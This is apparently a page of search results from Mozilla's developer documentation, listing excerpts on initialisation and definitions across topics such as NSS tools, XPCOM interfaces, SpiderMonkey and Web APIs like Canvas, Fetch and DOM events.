...label, and choosing inspect: when compiling the app, svelte changes our h1 styles definition to h1.svelte-1tky8bj, and then modifies every <h1> element in our component to <h1 class="svelte-1tky8bj">, so that it picks up the styles as required.
...this file is the entry point for our app, and it initially looks like this: import app from './app.svelte'; const app = new app({ target: document.body, props: { name: 'world' } }); export default app; main.js starts by importing the svelte component that we are going to use.
...And 2 more matches
Deploying our app - Learn web development
the only action we need to perform is that initial "push".
... we initialized our working directory as a git working directory earlier on.
...if you get the error fatal: not a git repository returned, then the working directory is not a git working directory and you’ll need to initialise git using git init.
...And 2 more matches
Package management basics - Learn web development
we’ll call it parcel-experiment, but you can call it whatever you like: mkdir parcel-experiment cd parcel-experiment next, let's initialise our app as an npm package, which creates a config file — package.json — that allows us to save our configuration details in case we want to recreate this environment later on, or even publish the package to the npm registry (although this is somewhat beyond the scope of this article).
... type the following command, making sure you are inside the parcel-experiment directory: npm init you will now be asked some questions; npm will then create a default package.json file based on the answers: name: a name to identify the app.
...other tools can be very different, but at least parcel makes it easy for our initial experiment.
...And 2 more matches
Mozilla accessibility architecture
for example, they all expose an accessible name, or text representation, of each object, and they all use an enumerated integer value from a finite list, to expose the role of an object.
...they may override some methods, such as init() and shutdown(), and add other methods to support interfaces needed only by the given toolkit.
...nsaccessnode::init() when nsaccessibilityservice::getaccessible() gets a newly created accessible, it calls nsiaccessnode::init() on the new object, which will add this to the cache for the doc accessible.
...And 2 more matches
Adding a new CSS property
(which set the property is in is given in the specification, which says "inherited: yes" or "inherited: no" in the property's definition.) also note that some of the style structs intentionally contain only properties set/reset by a particular common shorthand property; this improves the effectiveness of some of the performance and memory optimizations done with the rule tree, and thus we should avoid adding a property not reset by that shorthand to such a struct.
... (note that when the longhand property css_property_parse_value_list, the shorthand property parser would be assumed to be reusing the longhand parser once per item, not for a whole list, as for properties like background-image or transform-timing-function.) if the property takes a list of keywords other than inherit/initial/etc., auto, none, or normal (which can be expressed using the variant_* flags), you should use variant_keyword and add a keyword table to the nscssprops class.
... (none of this applies to shorthand properties.) start by reading and understanding the "computed value:" line in the specification's definition of the property, and any associated prose.
...And 2 more matches
How Mozilla's build system works
phase 2: build backend preparation and the build definition once configure has determined what the current build configuration is, we need to apply this to the source tree so we can actually build.
...to do this, config.status must first scan the build system definition.
... the build system definition consists of various moz.build files in the tree.
...And 2 more matches
Error codes returned by Mozilla APIs
for example, by using components.results.ns_error_not_initialized general errors the following errors are general and can occur when using any component.
... ns_error_not_initialized (0xc1f30001) an attempt was made to use a component or object which has not yet been initialized.
... these components usually provide an initialization method, often called init, which must be called before other methods are used.
...And 2 more matches
Extras
255); stop-opacity:1;"/> <stop offset="100%" style="stop-color:rgb(255,0,0); stop-opacity:.8;"/> </radialgradient> </defs> <g transform="translate(15,15)"> <g> <animatetransform attributename="transform" attributetype="xml" type="rotate" from="360" to="0" dur="15s" repeatcount="indefinite"/> <g transform="translate(-15, -15)"> <path fill="url(#radgrad1)" d="m 15 0 l 20 10 l 30 15 l 20 20 l 15 30 l 10 20 l 0 15 l 10 10"/> </g> </g> </g> </svg> </mtext> </mpadded> </msqrt> <mo>=</mo> <msubsup> <mo>∫</mo> <mn>0</mn> <mfrac> <mi>π</mi> <mn>2</mn> </mfrac> </msubsup> <msup> <mi>θ</mi> <mtext> <svg width="15px" height="15px"> <defs> <r...
...x="50%" cy="50%" r="50%" fx="50%" fy="50%"> <stop offset="0%" style="stop-color:rgb(255,255,255); stop-opacity:1;"/> <stop offset="100%" style="stop-color:rgb(0,0,255); stop-opacity:.9;"/> </radialgradient> </defs> <g> <animatemotion path="m0,0 l3,0 l2,5 l5,5 l0,4 l5,2 z" begin="0s" dur="0.5s" repeatcount="indefinite"/> <circle fill="url(#radgrad2)" r="5px" cx="5px" cy="5px"/> </g> </svg> </mtext> </msup> <mrow> <mo>ⅆ</mo> <mi>θ</mi> </mrow> </math> <div style="width: 300px; margin-left: auto; margin-right: auto;"> <svg width="300px" height="250px"> <defs> <lineargradient id="grad1" x1="0%" y1="0%" x2="100%" y2="0%"> <stop offset="0%" style="stop-color:rgb(0,0,255);stop-opacity:1"/> <stop offset="100%" s...
...gb(0,255,255);stop-opacity:1"/> <stop offset="100%" style="stop-color:rgb(255,255,255);stop-opacity:.8"/> </radialgradient> </defs> <rect width="300" height="250" fill="url(#grad1)"/> <g transform="translate(150,125)"> <g> <animatetransform attributename="transform" attributetype="xml" type="rotate" from="0" to="360" dur="6s" repeatcount="indefinite"/> <g transform="translate(-50,-35)"> <rect width="100" height="70" fill="url(#grad2)"/> <switch> <foreignobject width="100" height="70" requiredextensions="http://www.w3.org/1998/math/mathml"> <math display="block"> <mrow> <mo>(</mo> <mtable> <mtr> <mtd><mi>cos</mi><mi>θ</mi></mtd> <mtd><mo>−</mo><mi>sin</mi><mi>θ</mi></mtd> </mtr> <mtr> <mtd><mi>sin</mi><mi>θ</...
...And 2 more matches
AsyncTestUtils extended framework
sometimes in your tests you need to wait for an operation to complete that does not occur synchronously (that is, it is not done when the function call you made to initiate the operation returns control to you).
... bringing messages into the picture synthetic set definitions most of the code involved in creating synthetic messages takes an object that defines how to generate the set.
...(we will probably auto-correct that in the future.) if your set definition was {count: 3, age: {days: 7}, age_incr: {days: -1}}, then you would generate messages from 7, 6, and 5 days ago.
...And 2 more matches
JSS FAQ
MozillaProjectsNSSJSSJSS FAQ
once jss initialized, i can't get anymore instances with certificatefactory.getinstance(x.509)?
... yes, domestic is the default because we call nss_setdomesticpolicy() during cryptomanager.initialize().
... no, you can only have one initialized instance of jss for each database.
...And 2 more matches
NSS 3.12.6 release notes
nss_ssl_require_safe_negotiation values: 1: requiresafenegotiation = true unset: requiresafenegotiation = false controls whether safe renegotiation indication is required for initial handshake.
... if true, a connection will be dropped at initial handshake if the peer server or client does not support safe renegotiation.
...socspresponse fails for any reason bug 515870: gcc compiler warnings in nss 3.12.4 bug 518255: the input buffer for sgn_update should be declared const bug 519550: allow the specification of an alternate library for sqlite bug 524167: crash in [[@ find_objects_by_template - nsstoken_findcertificatebyissuerandserialnumber] bug 526910: maxresponselength (initialized to pkix_default_max_response_length) is too small for downloading some crls.
...And 2 more matches
sample2
*/ /* nspr headers */ #include <prthread.h> #include <plgetopt.h> #include <prerror.h> #include <prinit.h> #include <prlog.h> #include <prtypes.h> #include <plstr.h> /* nss headers */ #include <cryptohi.h> #include <keyhi.h> #include <pk11priv.h> #include <cert.h> #include <base64.h> #include <secerr.h> #include <secport.h> #include <secoid.h> #include <secmodt.h> #include <secoidt.h> #include <sechash.h> /* our samples utilities */ #include "util.h" /* constants */ #define blocksize 32 #define modblocksize 128 #define default_key_bits 1024 /* header file constants */ #define enckey_...
...like sample 5, but finds key matching cert in header */ int main(int argc, char **argv) { secstatus rv; ploptstate *optstate; ploptstatus status; prbool initialized = pr_false; commandtype cmd = unknown; const char *dbdir = null; secupwdata pwdata = { pw_none, 0 }; char *subjectstr = null; certname *subject = 0; unsigned int serialnumber = 0; char *serialnumberstr = null; char *truststr = null; certcertdbhandle *certhandle; const char *nicknamestr = null; char *issuernamestr = null; prbool selfsign = pr_false; prbool ascii = pr_false; prbool sigverify...
...eak; case 'x': selfsign = pr_true; break; case 'm': serialnumberstr = strdup(optstate->value); serialnumber = atoi(serialnumberstr); break; case 't': truststr = strdup(optstate->value); break; case 'v': sigverify = pr_true; break; default: usage(progname); break; } } pl_destroyoptstate(optstate); if (cmd == unknown || !dbdir) usage(progname); /* open db for read/write and authenticate to it */ pr_init(pr_user_thread, pr_priority_normal, 0); initialized = pr_true; rv = nss_initreadwrite(dbdir); if (rv != secsuccess) { pr_fprintf(pr_stderr, "nss_initreadwrite failed\n"); goto cleanup; } pk11_setpasswordfunc(getmodulepassword); slot = pk11_getinternalkeyslot(); if (pk11_needlogin(slot)) { rv = pk11_authenticate(slot, pr_true, &pwdata); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not auth...
...And 2 more matches
NSS PKCS11 Functions
syntax #include "pk11pub.h" pk11slotinfo *secmod_openuserdb(const char *modulespec) parameters this function has the following parameters: modulespec is the same data that you would pass to softoken at initialization time under the 'tokens' options.
...modulespec is the same data that you would pass to softoken at initialization time under the 'tokens' options.
... for example, if you would normally specify tokens=<0x4=[configdir='./mybackup' tokendescription='backup']> to softoken if you at init time, then you could specify "configdir='./mybackup' tokendescription='backup'" as your module spec here to open the database ./mybackup on the fly.
...And 2 more matches
NSS environment variables
nss_ssl_enable_renegotiation string ([0|n|n], [1|u|u], [2|r|r], [3|t|t]) (definition for nss 3.12.6 and above) sets how tls renegotiation is handled [1|u|u]: ssl_renegotiate_unrestricted server and client are allowed to renegotiate without any restrictions.
... 3.12.5 modified in 3.12.6 nss_ssl_require_safe_negotiation boolean (1 to enable) it controls whether safe renegotiation indication is required for initial handshake.
... in other words a connection will be dropped at initial handshake if a server or client do not support safe renegotiation.
...And 2 more matches
NSS tools : modutil
please contribute to the initial review in mozilla nss bug 836477[1] description the security module database tool, modutil, is a command-line utility for managing pkcs #11 module information both within secmod.db files and within hardware tokens.
...if the token has not been initialized, this option initializes the password.
...d5:md2:ssl:tls:aes manufacturer: mozilla foundation type: software version number: 3.11 firmware version: 0.0 status: enabled token name: nss generic crypto services token manufacturer: mozilla foundation token model: nss 3 token serial number: 0000000000000000 token version: 4.0 token firmware version: 0.0 access: write protected login type: public (no login required) user pin: not initialized slot: nss user private key and certificate services slot mechanism flags: none manufacturer: mozilla foundation type: software version number: 3.11 firmware version: 0.0 status: enabled token name: nss certificate db token manufacturer: mozilla foundation token model: nss 3 token serial number: 0000000000000000 token version: 8.3 token firmware version: 0.0 access: not write ...
...And 2 more matches
SpiderMonkey 24
these release notes are an incomplete draft and were initially seeded from the spidermonkey 17 release notes, so they're not necessarily complete or fully accurate.
... typedef changes the fixed-size integer types introduced in spidermonkey 17 are defined in one of the following ways (xxx update for msvc<10 deprecation): if the environment variable moz_custom_stdint_h is set, that file will be included to provide definitions for these types.
... the file must conform to the standard c99 <stdint.h> header interface in all respects, providing all that header's types and macro definitions.
...And 2 more matches
Using RAII classes in Mozilla
in the common case, using these macros involves these three additions to a class: class moz_raii nsautoscriptblocker { public: explicit nsautoscriptblocker(jscontext *cx moz_guard_object_notifier_param) { // note: no ',' before macro moz_guard_object_notifier_init; nscontentutils::addscriptblocker(cx); } ~nsautoscriptblocker() { nscontentutils::removescriptblocker(); } private: moz_decl_use_guard_object_notifier }; moz_guard_object_notifier_param is added to the end of the constructor's parameter list.
... moz_guard_object_notifier_init is added as a statement in the constructor.
...(this is needed because the macro adds a parameter only when debug is defined, and in this case, it can't add the leading comma.) class moz_raii nsautoscriptblocker { public: explicit nsautoscriptblocker(moz_guard_object_notifier_only_param) { moz_guard_object_notifier_init; nscontentutils::addscriptblocker(); } ~nsautoscriptblocker() { nscontentutils::removescriptblocker(); } private: moz_decl_use_guard_object_notifier }; second, if the constructor is not inline, it needs the parameter added in its implementation as well.
...And 2 more matches
Embedded Dialog API
an embedding application must implement the nsiwindowcreator nsiwindowcreator interface and hand off a reference to the implementation to the windowcreator service during application initialization.
... an example of this can be found in the mfc embedding testbed application, in the method cmfcembedapp::initializewindowcreator (lxr link accurate at revision 1.20 of that file; search for the method name in later revisions).
...the replacement library should be installed during application initialization.
...And 2 more matches
Places utilities for JavaScript
if set, the folder picker would be hidden unless ashowpicker is set to true, in which case the dialog only uses the folder identifier from the insertion point as the initially selected item in the folder picker.
... note: the location, description and "load in sidebar" fields are visible only if there is no initial uri (auri is null).
...if set, the folder picker would be hidden unless ashowpicker is set to true, in which case the dialog only uses the folder identifier from the insertion point as the initially selected item in the folder picker.
...And 2 more matches
Building the WebLock UI
since the weblock component is always initialized as unlocked, we can have the client code - the javascript code in the interface - represent this state and track it as the user manipulates the iweblock interface.
... a boolean wlocked variable can do this: // initialize the wlocked variable as unlocked var wlocked = 0; then the functions that get called from the interface and call through to the lock and unlock methods of the weblock component must also adjust this variable accordingly: function wlock() { // check to see if locking is on or off weblock.lock(); wlocked = 1; } function wunlock() { // check to see if locking is on or off weblock.unlock(); wlocked = 0; } an important preliminary of these functions is that the weblock component be made available to the javascript in the form of the weblock object being used in the snippets above.
... as you can see, weblock is initialized as a global javascript variable, available in the scope of these functions and others: var weblock = components.classes["@dougt/weblock"] .getservice() .queryinterface(components.interfaces.iweblock); in addition to this basic setup, you must also write javascript that uses the addsite method to add new sites to the white list.
...And 2 more matches
Detailed XPCOM hashtable guide
you must also initialize a pldhashtableops structure.
... this serves similarly to a vtable in c++, with pointers to appropriate user-defined functions that initialize, compare, and match entries.
... pldhashtables can be allocated on the stack or the heap: when allocated on the stack, or as a c++ class member, the table must be initialized using pl_dhashtableinit, and finalized using pl_dhashtablefinish; when allocated on the heap, use pl_newdhashtable and pl_dhashtabledestroy to allocate and delete the table.
...And 2 more matches
Components.Constructor
syntax var func = [ new ] components.constructor(contractid [, interfacename [, initializer ] ]); parameters contractid a string containing the contract id of the component interfacename if given, nsisupports.queryinterface() will be called on each newly-created instance with the interface named by this string initializer if given, a string containing the name of a function which will be called on the newly-created instance, using the arguments provided to the created function when called description components.constructor() is a handy shortcut for creating instances of xpcom components.
... "nsibinaryinputstream"); var bis = new binaryinputstream(); print(bis.tostring()); // "[xpconnect wrapped nsibinaryinputstream]" // someinputstream is an existing nsiinputstream bis.setinputstream(someinputstream); // succeeds if three arguments are given, then in addition to being nsisupports.queryinterface()'d, the instance will also have had an initialization method called on it.
... the arguments used with the initialization method are the arguments passed to the components.constructor()-created function when called: var binaryinputstream = components.constructor("@mozilla.org/binaryinputstream;1", "nsibinaryinputstream", "setinputstream"); try { // throws, because number of arguments isn't equal to the number of // arguments nsibinaryinputstream.setinputstream takes var bis = new binaryinputstream(); } catch (e) { // someinputstream is an existing nsiinputstream bis = new binaryinputstream(someinputstream); // succeeds var bytes = bis.readbytearray(somenumberofbytes); // succeeds } compare instance creation from base principles with instance creation using compon...
...And 2 more matches
mozIStorageStatement
method overview void initialize(in mozistorageconnection adbconnection, in autf8string asqlstatement); obsolete since gecko 1.9.1 void finalize(); mozistoragestatement clone(); autf8string getparametername(in unsigned long aparamindex); unsigned long getparameterindex(in autf8string aname); autf8string getcolumnname(in unsigned long acolumnindex); unsigned long getcolumnindex(in autf8stri...
... methods initialize() obsolete since gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) note: this method has been removed for gecko 1.9.1.
... to initialize a statement, consumers should call mozistorageconnection.createstatement().
...And 2 more matches
nsIDOMParser
to create a domparser when the constructor is not available (e.g., from a js xpcom component, a js module, or an xpcshell test), use: var parser = components.classes["@mozilla.org/xmlextras/domparser;1"] .createinstance(components.interfaces.nsidomparser); // optionally, call parser.init(principal, documenturi, baseuri); principals, document and base uri note: this section covers changes introduced to domparser in gecko 1.9.
...these values are automatically determined as defined below, but if you work with domparser from privileged code, you can override the defaults by providing arguments to the domparser constructor or calling parser.init().
... if you instantiate a domparser by calling createinstance(), and you don't call the domparser's init() method, attempting to initiate a parsing operation will automatically call init() on the domparser with a null principal and null pointers for documenturi and baseuri.
...And 2 more matches
nsIDOMSimpleGestureEvent
the "delta" value represents the initial movement.
...the "delta" value represents the initial rotation.
... method overview void initsimplegestureevent(in domstring typearg, in boolean canbubblearg, in boolean cancelablearg, in nsidomabstractview viewarg, in long detailarg, in long screenxarg, in long screenyarg, in long clientxarg, in long clientyarg, in boolean ctrlkeyarg, in boolean altkeyarg, in boolean shiftkeyarg, in boolean metakeyarg, in unsigned short buttonarg, in nsidomeventtarget relatedtargetarg, in unsigned long d...
...And 2 more matches
nsIDirectoryService
xpcom/io/nsidirectoryservice.idlscriptable this interface provides methods to initialize and configure a directory service instance.
... inherits from: nsisupports last changed in gecko 1.7 method overview void init(); void registerprovider(in nsidirectoryserviceprovider prov); void unregisterprovider(in nsidirectoryserviceprovider prov); init() initializes the nsidirectoryservice instance.
...in the case of the xpcom directory service, this method is called as part of xpcom initialization.
...And 2 more matches
nsIHttpServer
= parseint(port); server.identity.add('http', host, port); } server.wrappedjsobject._start(port, host); return true; }, registerfile: function(path, filepath) { var file = components.classes['@mozilla.org/file/local;1'] .createinstance(components.interfaces.nsilocalfile); file.initwithpath(filepath); return server.registerfile(path, file); }, registerdirectory : function(path, directorypath) { var file = components.classes['@mozilla.org/file/local;1'] .createinstance(components.interfaces.nsilocalfile); file.initwithpath(directorypath); return server.registerdirectory(path, file); ...
... * * @param port * the port upon which listening should happen, or -1 if no specific port is * desired * @throws ns_error_already_initialized * if this server is already started * @throws ns_error_not_available * if the server is not started and cannot be started on the desired port * (perhaps because the port is already in use or because the process does * not have privileges to do so) * @note * behavior is undefined if this method is called after stop() has been * called on this but before t...
... all keys are initially associated with the empty * string.
...And 2 more matches
nsIJSID
method overview boolean equals(in nsijsid other); const nsid* getid(); violates the xpcom interface guidelines void initialize(in string idstring); string tostring(); attributes attribute type description id nsidptr read only.
...returns true if the jsid has been initialised.
...initialize() initializes the jsid.
...And 2 more matches
nsILoginManagerStorage
sabledhosts([optional] out unsigned long count, [retval, array, size_is(count)] out wstring hostnames); void getallencryptedlogins([optional] out unsigned long count, [retval, array, size_is(count)] out nsilogininfo logins); void getalllogins([optional] out unsigned long count, [retval, array, size_is(count)] out nsilogininfo logins); boolean getloginsavingenabled(in astring ahost); void init(); void initwithfile(in nsifile ainputfile, in nsifile aoutputfile); void modifylogin(in nsilogininfo oldlogin, in nsisupports newlogindata); void removealllogins(); void removelogin(in nsilogininfo alogin); void searchlogins(out unsigned long count, in nsipropertybag matchdata, [retval, array, size_is(count)] out nsilogininfo logins); void setloginsavingenabled(in astring ahost, in ...
...init() implement this method to initialize the component.
...void init(); parameters none.
...And 2 more matches
nsIPipe
inherits from: nsisupports last changed in gecko 1.6 method overview void init(in boolean nonblockinginput, in boolean nonblockingoutput, in unsigned long segmentsize, in unsigned long segmentcount, in nsimemory segmentallocator); attributes attribute type description inputstream nsiasyncinputstream the pipe's input end, which also implements nsisearchableinputstream.
... methods init() initialize this pipe.
... void init( in boolean nonblockinginput, in boolean nonblockingoutput, in unsigned long segmentsize, in unsigned long segmentcount, in nsimemory segmentallocator ); parameters nonblockinginput true specifies non-blocking input stream behavior.
...And 2 more matches
nsIScriptError2
js/src/xpconnect/idl/nsiscripterror.idlscriptable represents javascript errors and warnings for use by the console service; augments nsiscripterror by adding a way to initialize the error with the window id of the outer window with which the error is associated.
... method overview void initwithwindowid(in wstring message, in wstring sourcename, in wstring sourceline, in pruint32 linenumber, in pruint32 columnnumber, in pruint32 flags, in string category, in unsigned long long innerwindowid); attributes attribute type description innerwindowid unsigned long long the inner window id with which the error is associated.
... this is zero if the error was initialized by calling nsiscripterror.init() instead of initwithwindowid().
...And 2 more matches
nsIXULTemplateBuilder
as an example, for an xml data source the initial reference point would be a specific node in the dom tree and a template might generate a list of all child nodes.
...t anewresult, in nsidomnode aquerynode); void resultbindingchanged(in nsixultemplateresult aresult); nsixultemplateresult getresultforid(in astring aid); nsixultemplateresult getresultforcontent(in nsidomelement aelement); boolean hasgeneratedcontent(in nsirdfresource anode, in nsiatom atag); void addrulefilter(in nsidomnode arule, in nsixultemplaterulefilter afilter); [noscript] void init(in nsicontent aelement); [noscript] void createcontents(in nsicontent aelement, in boolean aforcecreation); void addlistener(in nsixulbuilderlistener alistener); void removelistener(in nsixulbuilderlistener alistener); attributes attribute type description root nsidomelement readonly: the root node in the dom to which this builder is attached.
...the query processor's done() method will be invoked during cleanup, followed by its initializeforbuilding() method when the content is to be regenerated.
...And 2 more matches
The JavaScript input interpreter - Firefox Developer Tools
for example, if you type: function foo() { and then enter, the console does not immediately execute the input, but behaves as if you had pressed shift+enter , so you can finish entering the function definition.
...for example, if you type a function definition in the multi-line editor, and click run, you can switch to single-line mode and still use your function.
... you can initiate a reverse search through the expression history, much like you can in bash on linux and mac or powershell on windows.
...And 2 more matches
Animation - Web APIs
WebAPIAnimation
animation.pending read only indicates whether the animation is currently waiting for an asynchronous operation such as initiating playback or pausing a running animation.
...if they are indefinite (i.e., forwards-filling), this can result in a huge animations list, which could create a memory leak.
... you can see this in action in our simple replace indefinite animations demo.
...And 2 more matches
AudioParam.setValueCurveAtTime() - Web APIs
every value in the array must be a finite number; if any value is nan, infinity, or -infinity, a typeerror exception is thrown.
... rangeerror the specified starttime is either negative or a non-finite value, or duration is not a finite, strictly positive number.
... typeerror one or more of the values in the values array is non-finite.
...And 2 more matches
AudioParam - Web APIs
a k-rate audioparam uses the same initial audio parameter value for the whole block processed, that is 128 sample frames.
... each audioparam has a list of events, initially empty, that define when and how values change.
... properties audioparam.defaultvalue read only represents the initial volume of the attribute as defined by the specific audionode creating the audioparam.
...And 2 more matches
CSS.registerProperty() - Web APIs
syntax css.registerproperty(propertydefinition); parameters a propertydefinition dictionary object, which can contain the following members: name a domstring indicating the name of the property being defined.
... initialvalue optional a domstring representing the initial value of the defined property.
... examples the following will register a custom property, --my-color, using registerproperty(), as a color, give it a default value, and have it not inherit its value: window.css.registerproperty({ name: '--my-color', syntax: '<color>', inherits: false, initialvalue: '#c0ffee', }); in this example, the custom property --my-color has been registered using the syntax <color> .
...And 2 more matches
CanvasRenderingContext2D.createRadialGradient() - Web APIs
must be non-negative and finite.
...must be non-negative and finite.
... return value canvasgradient a radial canvasgradient initialized with the two specified circles.
...And 2 more matches
Basic usage of canvas - Web APIs
when no width and height attributes are specified, the canvas will initially be 300 pixels wide and 150 pixels high.
... the element can be sized arbitrarily by css, but during rendering the image is scaled to fit its layout size: if the css sizing doesn't respect the ratio of the initial canvas, it will appear distorted.
...when no styling rules are applied to the canvas it will initially be fully transparent.
...And 2 more matches
CharacterData - Web APIs
specifications specification status comment domthe definition of 'characterdata' in that specification.
... document object model (dom) level 3 core specificationthe definition of 'characterdata' in that specification.
... document object model (dom) level 2 core specificationthe definition of 'characterdata' in that specification.
...And 2 more matches
CloseEvent() - Web APIs
syntax var event = new closeevent(typearg, closeeventinit); values typearg is a domstring representing the name of the event.
... closeeventinit optional is a closeeventinit dictionary, having the following fields: "wasclean", optional and defaulting to false, of type long, indicates if the connection has been closed cleanly or not.
... the closeeventinit dictionary also accepts fields from the eventinit dictionary.
...And 2 more matches
Comment - Web APIs
WebAPIComment
specifications specification status comment domthe definition of 'comment' in that specification.
... document object model (dom) level 3 core specificationthe definition of 'comment' in that specification.
... obsolete no change from document object model (dom) level 2 core specification document object model (dom) level 2 core specificationthe definition of 'comment' in that specification.
...And 2 more matches
CompositionEvent.CompositionEvent() - Web APIs
syntax const myevent = new compositionevent(typearg [, compositioneventinit]) values typearg is a domstring representing the name of the event.
... compositioneventinit optional a compositioneventinit dictionary object, which can contain the following members: data initializes the data attribute of the compositionevent object to the characters generated by the ime composition.
... note: the compositioneventinit dictionary inherits from the uieventinit dictionary, so can also accept members defined on there.
...And 2 more matches
DOMImplementation.hasFeature() - Web APIs
specifications specification status comment domthe definition of 'domimplementation.hasfeature' in that specification.
... document object model (dom) level 3 core specificationthe definition of 'domimplementation.hasfeature' in that specification.
... obsolete no change from document object model (dom) level 2 core specification document object model (dom) level 2 core specificationthe definition of 'domimplementation.hasfeature' in that specification.
...And 2 more matches
DOMImplementation - Web APIs
specifications specification status comment domthe definition of 'domimplementation' in that specification.
... document object model (dom) level 3 core specificationthe definition of 'domimplementation' in that specification.
... document object model (dom) level 2 core specificationthe definition of 'domimplementation' in that specification.
...And 2 more matches
DataTransferItem - Web APIs
specifications specification status comment html living standardthe definition of 'datatransferitem' in that specification.
... living standard initial definition.
... html 5.1the definition of 'datatransferitem' in that specification.
...And 2 more matches
Document.anchors - Web APIs
WebAPIDocumentanchors
example if (document.anchors.length >= 5) { dump("found too many anchors"); } the following is an example that auto populates a table of contents with every anchor on the page: <!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <title>test</title> <script> function init() { var toc = document.getelementbyid("toc"); var i, li, newanchor; for (i = 0; i < document.anchors.length; i++) { li = document.createelement("li"); newanchor = document.createelement('a'); newanchor.href = "#" + document.anchors[i].name; newanchor.innerhtml = document.anchors[i].text; li.appendchild(newanchor); toc.appendchild(li); } } </script> </head> <body on...
...load="init()"> <h1>title</h1> <h2><a name="contents">contents</a></h2> <ul id="toc"></ul> <h2><a name="plants">plants</a></h2> <ol> <li>apples</li> <li>oranges</li> <li>pears</li> </ol> <h2><a name="veggies">veggies</a></h2> <ol> <li>carrots</li> <li>celery</li> <li>beats</li> </ol> </body> </html> view on jsfiddle notes for reasons of backwards compatibility, the returned set of anchors only contains those anchors created with the name attribute, not those created with the id attribute.
... specifications specification status comment html living standardthe definition of 'document.anchors' in that specification.
...And 2 more matches
Document.createAttribute() - Web APIs
example var node = document.getelementbyid("div1"); var a = document.createattribute("my_attrib"); a.value = "newval"; node.setattributenode(a); console.log(node.getattribute("my_attrib")); // "newval" specifications specification status comment domthe definition of 'document.createattribute()' in that specification.
... living standard precised behavior with uppercase characters document object model (dom) level 3 core specificationthe definition of 'document.createattribute()' in that specification.
... document object model (dom) level 2 core specificationthe definition of 'document.createattribute()' in that specification.
...And 2 more matches
Document.querySelectorAll() - Web APIs
the :scope pseudo-class restores the expected behavior, only matching selectors on descendants of the base element: var select = document.queryselector('.select'); var inner = select.queryselectorall(':scope .outer .inner'); inner.length; // 0 specifications specification status comment domthe definition of 'parentnode.queryselectorall()' in that specification.
... living standard living standard selectors api level 2the definition of 'parentnode.queryselectorall()' in that specification.
... obsolete no change dom4the definition of 'parentnode.queryselectorall()' in that specification.
...And 2 more matches
Document.readyState - Web APIs
console.log("the first css rule is: " + document.stylesheets[0].cssrules[0].csstext); break; } readystatechange as an alternative to domcontentloaded event // alternative to domcontentloaded event document.onreadystatechange = function () { if (document.readystate === 'interactive') { initapplication(); } } readystatechange as an alternative to load event // alternative to load event document.onreadystatechange = function () { if (document.readystate === 'complete') { initapplication(); } } readystatechange as event listener to insert or modify the dom before domcontentloaded document.addeventlistener('readystatechange', event => { if (event.target.readystate === '...
...interactive') { initloader(); } else if (event.target.readystate === 'complete') { initapp(); } }); specifications specification status comment html living standardthe definition of 'document readiness' in that specification.
... living standard html 5.1the definition of 'document readiness' in that specification.
...And 2 more matches
DocumentType - Web APIs
specifications specification status comment domthe definition of 'documenttype' in that specification.
... document object model (dom) level 3 core specificationthe definition of 'documenttype' in that specification.
... document object model (dom) level 2 core specificationthe definition of 'documenttype' in that specification.
...And 2 more matches
Element.attributes - Web APIs
show"; } } </script> </head> <body> <p id="paragraph" style="color: green;">sample paragraph</p> <form action=""> <p> <input type="button" value="show first attribute name and value" onclick="listattributes();"> <input id="result" type="text" value=""> </p> </form> </body> </html> specifications specification status comment domthe definition of 'element.attributes' in that specification.
... living standard from document object model (dom) level 3 core specification, moved from node to element document object model (dom) level 3 core specificationthe definition of 'element.attributes' in that specification.
... obsolete no change from document object model (dom) level 2 core specification document object model (dom) level 2 core specificationthe definition of 'element.attributes' in that specification.
...And 2 more matches
Element.getElementsByTagName() - Web APIs
example // check the status of each data cell in a table const table = document.getelementbyid('forecast-table'); const cells = table.getelementsbytagname('td'); for (let cell of cells) { let status = cell.getattribute('data-status'); if (status === 'open') { // grab the data } } specifications specification status comment domthe definition of 'element.getelementsbytagname()' in that specification.
... living standard changed the return value from nodelist to htmlcollection document object model (dom) level 3 core specificationthe definition of 'element.getelementsbytagname()' in that specification.
... obsolete no change from document object model (dom) level 2 core specification document object model (dom) level 2 core specificationthe definition of 'element.getelementsbytagname()' in that specification.
...And 2 more matches
Element.querySelectorAll() - Web APIs
the :scope pseudo-class restores the expected behavior, only matching selectors on descendants of the base element: var select = document.queryselector('.select'); var inner = select.queryselectorall(':scope .outer .inner'); inner.length; // 0 specifications specification status comment domthe definition of 'parentnode.queryselectorall()' in that specification.
... living standard living standard selectors api level 2the definition of 'parentnode.queryselectorall()' in that specification.
... obsolete no change dom4the definition of 'parentnode.queryselectorall()' in that specification.
...And 2 more matches
Event.currentTarget - Web APIs
specifications specification status comment domthe definition of 'event.currenttarget' in that specification.
... living standard dom4the definition of 'event.currenttarget' in that specification.
... obsolete document object model (dom) level 3 events specificationthe definition of 'current event target' in that specification.
...And 2 more matches
Event - Web APIs
WebAPIEvent
by specification, this value is time since epoch—but in reality, browsers' definitions vary.
... event.istrusted read only indicates whether or not the event was initiated by the browser (after a user click, for instance) or by a script (using an event creation method, like event.initevent).
... deprecated methods event.createevent() creates a new event, which must then be initialized by calling its initevent() method.
...And 2 more matches
EventTarget.dispatchEvent() - Web APIs
target is used to initialize the event.target and determine which event listeners to invoke.
... the dispatchevent() method throws unspecified_event_type_err if the event's type was not specified by initializing the event before the method was called, or if the event's type is null or an empty string.
... dispatchevent() is the last step of the create-init-dispatch process, which is used for dispatching events into the implementation's event model.
...And 2 more matches
Fetch API - Web APIs
WebAPIFetch API
concepts and usage fetch provides a generic definition of request and response objects (and other things involved with network requests).
... it also defines related concepts such as cors and the http origin header semantics, supplanting their separate definitions elsewhere.
...you can also optionally pass in an init options object as the second argument (see request).
...And 2 more matches
FocusEvent() - Web APIs
syntax var focusevent = new focusevent(typearg[, focuseventinit]); properties the focusevent() constructor also inherits arguments from uievent() and from event().
... focuseventinit optional is a focuseventinit dictionary, having the following fields: "relatedtarget", optional and defaulting to null, is an eventtarget representing the secondary target of a focusevent.
... the focuseventinit dictionary also accepts fields from the uieventinit and eventinit dictionaries.
...And 2 more matches
FontFace.display - Web APIs
WebAPIFontFacedisplay
'block': gives the font face a short block period and an infinite swap period.
... 'swap': gives the font face a 0 second block period and an infinite swap period.
... specifications specification status comment css font loading module level 3the definition of 'display' in that specification.
...And 2 more matches
GestureEvent - Web APIs
initial value: 0.0 gestureevent.scale read only distance between two digits since the event's beginning.
... expressed as a floating-point multiple of the initial distance between the digits at the beginning of the gesture.
